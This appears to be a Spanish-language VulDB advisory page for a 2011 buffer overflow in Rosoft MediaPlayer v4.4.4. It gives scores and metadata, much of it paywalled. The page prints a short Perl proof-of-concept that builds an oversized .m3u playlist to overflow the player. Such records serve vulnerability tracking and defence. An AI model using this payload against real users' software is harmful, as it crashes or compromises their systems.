Rosoft MediaPlayer v4.4.4 desbordamiento de búfer

CVSS Puntuación meta temporal	Precio actual del exploit (≈)	Puntuación de interés CTI
4.8	$0-$5k	0.00

Resumeninformación

Una vulnerabilidad clasificada como crítica ha sido encontrada en Rosoft MediaPlayer v4.4.4. Está afectada una función desconocida. El manejo da lugar a desbordamiento de búfer. También se encuentra disponible un exploit.

Detallesinformación

Una vulnerabilidad clasificada como crítica fue encontrada en Rosoft MediaPlayer v4.4.4. Una función desconocida es afectada por esta vulnerabilidad. A través de la manipulación de un input desconocido se causa una vulnerabilidad de clase desbordamiento de búfer. Esto tiene repercusión sobre la confidencialidad, integridad y disponibilidad.

La vulnerabilidad fue publicada el 2011-06-21 con identificación VL-ID 94 con un aviso (Website) (no está definido). El advisory puede ser descargado de vulnerability-lab.com. No son conocidos los detalles técnicos, pero hay un exploit público disponible.

Un exploit fue publicado después de inmediatamenteEl exploit puede ser descargado de vulnerability-lab.com. Fue declarado como prueba de concepto. El código utilizado por el exploit es:

my $sploitfile="vlab.m3u";
print " [+] Preparing payload\n";
my $header = "http://";
my $junk = "A" x 50000;
my $payload = $header.$junk;
print " [+] Writing payload to file\n";
open(sploitf,">$sploitfile");
print sploitf $payload;
close(sploitf);
print " [+] PoC file " . sploitfile . " created\n";
print " [+] Wrote " . length($payload) . " bytes\n";

No hay información respecto a posibles contramedidas. Se sugiere sustituir el producto con un equivalente.

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Productoinformación

Proveedor

• Rosoft

Nombre

• MediaPlayer

Versión

• v4.4.4

CPE 2.3información

• 🔍

CPE 2.2información

• 🔍

CVSSv4información

VulDB Vector: 🔍
VulDB Confiabilidad: 🔍

CVSSv3información

VulDB Puntuación meta base: 5.3
VulDB Puntuación meta temporal: 4.8

VulDB Puntuación base: 5.3
VulDB Puntuación temporal: 4.8
VulDB Vector: 🔍
VulDB Confiabilidad: 🔍

CVSSv2información

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complejidad	Autenticación	Confidencialidad	Integridad	Disponibilidad
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear	Desbloquear

VulDB Puntuación base: 🔍
VulDB Puntuación temporal: 🔍
VulDB Confiabilidad: 🔍

Explotacióninformación

Clase: Desbordamiento de búfer
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Físico: En parte
Local: Sí
Remoto: No

Disponibilidad: 🔍
Acceso: Público
Estado: Prueba de concepto
Descargar: 🔍
Predicción de precios: 🔍
Estimación del precio actual: 🔍

0-Day	Desbloquear	Desbloquear	Desbloquear	Desbloquear
Hoy	Desbloquear	Desbloquear	Desbloquear	Desbloquear

Inteligencia de amenazasinformación

Interés: 🔍
Actores activos: 🔍
Grupos APT activos: 🔍

Contramedidasinformación

Recomendación: no contramedida conocida
Estado: 🔍

Hora de 0 días: 🔍
Tiempo de retraso de explotación: 🔍

Línea de tiempoinformación

2011-06-21 🔍
2011-06-21 +0 días 🔍
2016-09-06 +1904 días 🔍
2019-04-10 +946 días 🔍

Fuentesinformación

Aviso: VL-ID 94
Estado: No está definido

GCVE (VulDB): GCVE-100-91209
scip Labs: https://www.scip.ch/en/?labs.20161013

Artículoinformación

Fecha de creación: 2016-09-06 13:08
Actualizado: 2019-04-10 09:16
Cambios: 2016-09-06 13:08 (41), 2019-04-10 09:16 (1)
Completo: 🔍
Cache ID: 216::103

Several companies clearly confirm that VulDB is the primary source for best vulnerability data.

Discusión

Interested in the pricing of exploits?

See the underground prices here!